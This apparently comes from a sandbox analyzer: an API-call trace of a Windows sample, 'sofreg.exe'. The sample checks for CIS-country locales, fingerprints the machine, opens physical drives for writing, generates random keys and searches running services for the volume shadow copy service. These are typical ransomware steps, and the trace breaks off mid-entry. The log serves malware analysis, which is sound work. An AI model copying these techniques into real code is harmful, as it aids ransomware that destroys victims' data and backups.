# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 11.02.2020 13:01:19.176 Process: id = "1" image_name = "sofreg.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sofreg.exe" page_root = "0x34264000" os_pid = "0xb04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Sofreg.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb18 [0028.243] GetLocaleInfoW (in: Locale=0x800, LCType=0x1001, lpLCData=0x1ee420, cchData=160 | out: lpLCData="English") returned 8 [0028.247] lstrcmpiW (lpString1="English", lpString2="Azerbaijani") returned 1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Armenian") returned 1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Belorussian") returned 1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Kazakh") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Kyrgyz") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Moldavian") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Tajik") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Russian") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Turkmen") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Uzbek") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Ukrainian") returned -1 [0028.249] lstrcmpiW (lpString1="English", lpString2="Georgian") returned -1 [0028.249] GetComputerNameW (in: lpBuffer=0x1ef300, nSize=0x1efea0 | out: lpBuffer="XDUWTFONO", nSize=0x1efea0) returned 1 [0028.249] GetUserNameW (in: lpBuffer=0x1ef0f8, pcbBuffer=0x1efe9c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x1efe9c) returned 1 [0028.254] lstrcpyW (in: lpString1=0x1eedf0, lpString2="SOFTWARE\\Microsoft\\Cryptography" | out: lpString1="SOFTWARE\\Microsoft\\Cryptography") returned="SOFTWARE\\Microsoft\\Cryptography" [0028.254] VirtualAlloc (lpAddress=0x0, dwSize=0x1fc, flAllocationType=0x3000, flProtect=0x4) returned 0xe0000 [0028.254] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1ee5bc | out: phkResult=0x1ee5bc*=0x90) returned 0x0 [0028.254] RegQueryValueExW (in: hKey=0x90, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0xe0000, lpcbData=0x1ee5b8*=0x1fc | out: lpType=0x0, lpData=0xe0000*=0x30, lpcbData=0x1ee5b8*=0x4a) returned 0x0 [0028.254] RegCloseKey (hKey=0x90) returned 0x0 [0028.254] VirtualAlloc (lpAddress=0x0, dwSize=0x1fc, flAllocationType=0x3000, flProtect=0x4) returned 0x230000 [0028.254] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x1ee5b4 | out: phkResult=0x1ee5b4*=0x90) returned 0x0 [0028.254] RegQueryValueExW (in: hKey=0x90, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x230000, lpcbData=0x1ee5b0*=0x1fc | out: lpType=0x0, lpData=0x230000*=0x57, lpcbData=0x1ee5b0*=0x2e) returned 0x0 [0028.254] RegCloseKey (hKey=0x90) returned 0x0 [0028.254] lstrcpyW (in: lpString1=0x1efbb8, lpString2="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0028.254] lstrcatW (in: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Windows 7 Professional" | out: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional") returned="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional" [0028.255] lstrcatW (in: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional", lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional5p5NrGJn0jS HALPmcxz") returned="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional5p5NrGJn0jS HALPmcxz" [0028.255] lstrcatW (in: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional5p5NrGJn0jS HALPmcxz", lpString2="XDUWTFONO" | out: lpString1="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional5p5NrGJn0jS HALPmcxzXDUWTFONO") returned="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional5p5NrGJn0jS HALPmcxzXDUWTFONO" [0028.255] VirtualAlloc (lpAddress=0x0, dwSize=0x7f, flAllocationType=0x3000, flProtect=0x4) returned 0x240000 [0028.255] lstrlenW (lpString="XDUWTFONO") returned 9 [0028.255] wsprintfW (in: param_1=0x240000, param_2="%08X" | out: param_1="FD7BD9FC") returned 8 [0028.255] VirtualAlloc (lpAddress=0x0, dwSize=0x7f, flAllocationType=0x3000, flProtect=0x4) returned 0x250000 [0028.255] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz") returned 20 [0028.255] wsprintfW (in: param_1=0x250000, param_2="%08X" | out: param_1="052898B3") returned 8 [0028.255] VirtualAlloc (lpAddress=0x0, dwSize=0x7f, flAllocationType=0x3000, flProtect=0x4) returned 0x260000 [0028.255] lstrlenW (lpString="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 36 [0028.255] wsprintfW (in: param_1=0x260000, param_2="%08X" | out: param_1="CDEE6CF6") returned 8 [0028.255] VirtualAlloc (lpAddress=0x0, dwSize=0x7f, flAllocationType=0x3000, flProtect=0x4) returned 0x270000 [0028.255] lstrlenW (lpString="Windows 7 Professional") returned 22 [0028.256] wsprintfW (in: param_1=0x270000, param_2="%08X" | out: param_1="4C2154D3") returned 8 [0028.256] VirtualAlloc (lpAddress=0x0, dwSize=0x7f, flAllocationType=0x3000, flProtect=0x4) returned 0x280000 [0028.256] lstrlenW (lpString="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fWindows 7 Professional5p5NrGJn0jS HALPmcxzXDUWTFONO") returned 87 [0028.256] wsprintfW (in: param_1=0x280000, param_2="%08X" | out: param_1="865EB338") returned 8 [0028.256] wsprintfW (in: param_1=0x1ef908, param_2="%s-%s-%s-%s-%s" | out: param_1="CDEE6CF6-4C2154D3-052898B3-FD7BD9FC-865EB338") returned 44 [0028.256] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="CDEE6CF6-4C2154D3-052898B3-FD7BD9FC-865EB338") returned 0x94 [0028.256] GetLastError () returned 0x0 [0028.256] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE0") returned 18 [0028.256] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE0" (normalized: "\\device\\harddisk0\\dr0"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x98 [0028.257] DeviceIoControl (in: hDevice=0x98, dwIoControlCode=0x7c0f4, lpInBuffer=0x1efe30*, nInBufferSize=0x28, lpOutBuffer=0x0, nOutBufferSize=0x0, lpBytesReturned=0x1efeac, lpOverlapped=0x0 | out: lpInBuffer=0x1efe30*, lpOutBuffer=0x0*, lpBytesReturned=0x1efeac*=0x0, lpOverlapped=0x0) returned 1 [0028.260] DeviceIoControl (in: hDevice=0x98, dwIoControlCode=0x70140, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x0, nOutBufferSize=0x0, lpBytesReturned=0x1efeac, lpOverlapped=0x0 | out: lpOutBuffer=0x0*, lpBytesReturned=0x1efeac*=0x0, lpOverlapped=0x0) returned 1 [0028.262] CloseHandle (hObject=0x98) returned 1 [0028.262] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE1") returned 18 [0028.266] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE1" (normalized: "physicaldrive1"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.266] CloseHandle (hObject=0xffffffff) returned 0 [0028.266] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE2") returned 18 [0028.270] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE2" (normalized: "physicaldrive2"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.270] CloseHandle (hObject=0xffffffff) returned 0 [0028.270] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE3") returned 18 [0028.274] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE3" (normalized: "physicaldrive3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.274] CloseHandle (hObject=0xffffffff) returned 0 [0028.274] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE4") returned 18 [0028.277] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE4" (normalized: "physicaldrive4"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.277] CloseHandle (hObject=0xffffffff) returned 0 [0028.277] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE5") returned 18 [0028.281] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE5" (normalized: "physicaldrive5"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.281] CloseHandle (hObject=0xffffffff) returned 0 [0028.281] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE6") returned 18 [0028.284] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE6" (normalized: "physicaldrive6"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.284] CloseHandle (hObject=0xffffffff) returned 0 [0028.284] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE7") returned 18 [0028.287] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE7" (normalized: "physicaldrive7"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.287] CloseHandle (hObject=0xffffffff) returned 0 [0028.287] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE8") returned 18 [0028.291] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE8" (normalized: "physicaldrive8"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.292] CloseHandle (hObject=0xffffffff) returned 0 [0028.293] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE9") returned 18 [0028.296] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE9" (normalized: "physicaldrive9"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.296] CloseHandle (hObject=0xffffffff) returned 0 [0028.296] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE10") returned 19 [0028.299] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE10" (normalized: "physicaldrive10"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.299] CloseHandle (hObject=0xffffffff) returned 0 [0028.299] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE11") returned 19 [0028.303] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE11" (normalized: "physicaldrive11"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.303] CloseHandle (hObject=0xffffffff) returned 0 [0028.303] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE12") returned 19 [0028.306] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE12" (normalized: "physicaldrive12"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.306] CloseHandle (hObject=0xffffffff) returned 0 [0028.306] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE13") returned 19 [0028.309] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE13" (normalized: "physicaldrive13"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.324] CloseHandle (hObject=0xffffffff) returned 0 [0028.324] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE14") returned 19 [0028.328] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE14" (normalized: "physicaldrive14"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.328] CloseHandle (hObject=0xffffffff) returned 0 [0028.328] wsprintfW (in: param_1=0x1ef508, param_2="\\\\.\\PHYSICALDRIVE%d" | out: param_1="\\\\.\\PHYSICALDRIVE15") returned 19 [0028.331] CreateFileW (lpFileName="\\\\.\\PHYSICALDRIVE15" (normalized: "physicaldrive15"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffff [0028.332] CloseHandle (hObject=0xffffffff) returned 0 [0028.332] FindFirstVolumeA (in: lpszVolumeName=0x1efab8, cchBufferLength=0x100 | out: lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\") returned 0x59c550 [0028.334] GetVolumePathNamesForVolumeNameA (in: lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\", lpszVolumePathNames=0x1ef9b8, cchBufferLength=0x100, lpcchReturnLength=0x1efe98 | out: lpszVolumePathNames="C:\\", lpcchReturnLength=0x1efe98) returned 1 [0028.335] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1eebf0, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x1efe74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x1eecf0, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1efe74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0028.335] FindNextVolumeA (in: hFindVolume=0x59c550, lpszVolumeName=0x1efab8, cchBufferLength=0x100 | out: hFindVolume=0x59c550, lpszVolumeName="\\\\?\\Volume{92eb13a2-4a1d-11e7-bae1-806e6f6e6963}\\") returned 0 [0028.335] FindVolumeClose (hFindVolume=0x59c550) returned 1 [0028.335] CryptAcquireContextW (in: phProv=0x1ee5bc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1ee5bc*=0x59c590) returned 1 [0028.583] CryptGenRandom (in: hProv=0x59c590, dwLen=0x28, pbBuffer=0x2fa310 | out: pbBuffer=0x2fa310) returned 1 [0028.583] CryptReleaseContext (hProv=0x59c590, dwFlags=0x0) returned 1 [0028.583] CryptAcquireContextW (in: phProv=0x1ee5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1ee5b4*=0x59c590) returned 1 [0028.583] CryptGenRandom (in: hProv=0x59c590, dwLen=0x20, pbBuffer=0x2fa338 | out: pbBuffer=0x2fa338) returned 1 [0028.584] CryptReleaseContext (hProv=0x59c590, dwFlags=0x0) returned 1 [0028.585] StrToIntA (lpSrc="93ww") returned 93 [0028.585] OpenSCManagerA (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x59bb88 [0028.588] EnumServicesStatusA (in: hSCManager=0x59bb88, dwServiceType=0x3b, dwServiceState=0x3, lpServices=0x1efd3c, cbBufSize=0x24, pcbBytesNeeded=0x1efeb4, lpServicesReturned=0x1efecc, lpResumeHandle=0x1efea4 | out: lpServices=0x1efd3c*(lpServiceName=0x0, lpDisplayName=0x0, ServiceStatus.dwServiceType=0x0, ServiceStatus.dwCurrentState=0x0, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x1efeb4, lpServicesReturned=0x1efecc, lpResumeHandle=0x1efea4) returned 0 [0028.591] GetLastError () returned 0xea [0028.591] GetProcessHeap () returned 0x580000 [0028.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9bb6) returned 0x59f2d8 [0028.591] EnumServicesStatusA (in: hSCManager=0x59bb88, dwServiceType=0x3b, dwServiceState=0x3, lpServices=0x59f2d8, cbBufSize=0x9bb6, pcbBytesNeeded=0x1efeb4, lpServicesReturned=0x1efecc, lpResumeHandle=0x1efea4 | out: lpServices=0x59f2d8*(lpServiceName="1394ohci", lpDisplayName="1394 OHCI Compliant Host Controller", ServiceStatus.dwServiceType=0x1, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x1efeb4, lpServicesReturned=0x1efecc, lpResumeHandle=0x1efea4) returned 1 [0028.638] StrStrIA (lpFirst="1394ohci", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="ACPI", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="AcpiPmi", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="AdobeFlashPlayerUpdateSvc", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="adp94xx", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="adpahci", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="adpu320", lpSrch="vss") returned 0x0 [0028.638] StrStrIA (lpFirst="AeLookupSvc", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AFD", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="agp440", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="ALG", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="aliide", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="amdide", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AmdK8", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AmdPPM", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="amdsata", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="amdsbs", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="amdxata", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AppID", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AppIDSvc", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="Appinfo", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AppMgmt", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="arc", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="arcsas", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="aspnet_state", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AsyncMac", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="atapi", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AudioEndpointBuilder", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AudioSrv", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="AxInstSV", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="b06bdrv", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="b57nd60a", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="BDESVC", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="Beep", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="BFE", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="BITS", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="blbdrive", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="bowser", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="BrFiltLo", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="BrFiltUp", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="Browser", lpSrch="vss") returned 0x0 [0028.639] StrStrIA (lpFirst="Brserid", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="BrSerWdm", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="BrUsbMdm", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="BrUsbSer", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="BTHMODEM", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="bthserv", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="cdfs", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="cdrom", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CertPropSvc", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="circlass", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CLFS", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="clr_optimization_v2.0.50727_32", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="clr_optimization_v2.0.50727_64", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="clr_optimization_v4.0.30319_32", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="clr_optimization_v4.0.30319_64", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CmBatt", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="cmdide", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CNG", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="Compbatt", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CompositeBus", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="COMSysApp", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="crcdisk", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CryptSvc", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CSC", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="CscService", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="DcomLaunch", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="defragsvc", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="DfsC", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="Dhcp", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="discache", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="Disk", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="dmvsc", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="Dnscache", lpSrch="vss") returned 0x0 [0028.640] StrStrIA (lpFirst="dot3svc", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="DPS", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="drmkaud", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="DXGKrnl", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="E1G60", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="EapHost", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="ebdrv", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="EFS", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="ehRecvr", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="ehSched", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="elxstor", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="ErrDev", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="eventlog", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="EventSystem", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="exfat", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="fastfat", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="Fax", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="fdc", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="fdPHost", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="FDResPub", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="FileInfo", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="Filetrace", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="flpydisk", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="FltMgr", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="FontCache", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="FontCache3.0.0.0", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="FsDepends", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="fvevol", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="gagp30kx", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="gpsvc", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="gupdate", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="gupdatem", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="hcw85cir", lpSrch="vss") returned 0x0 [0028.641] StrStrIA (lpFirst="HdAudAddService", 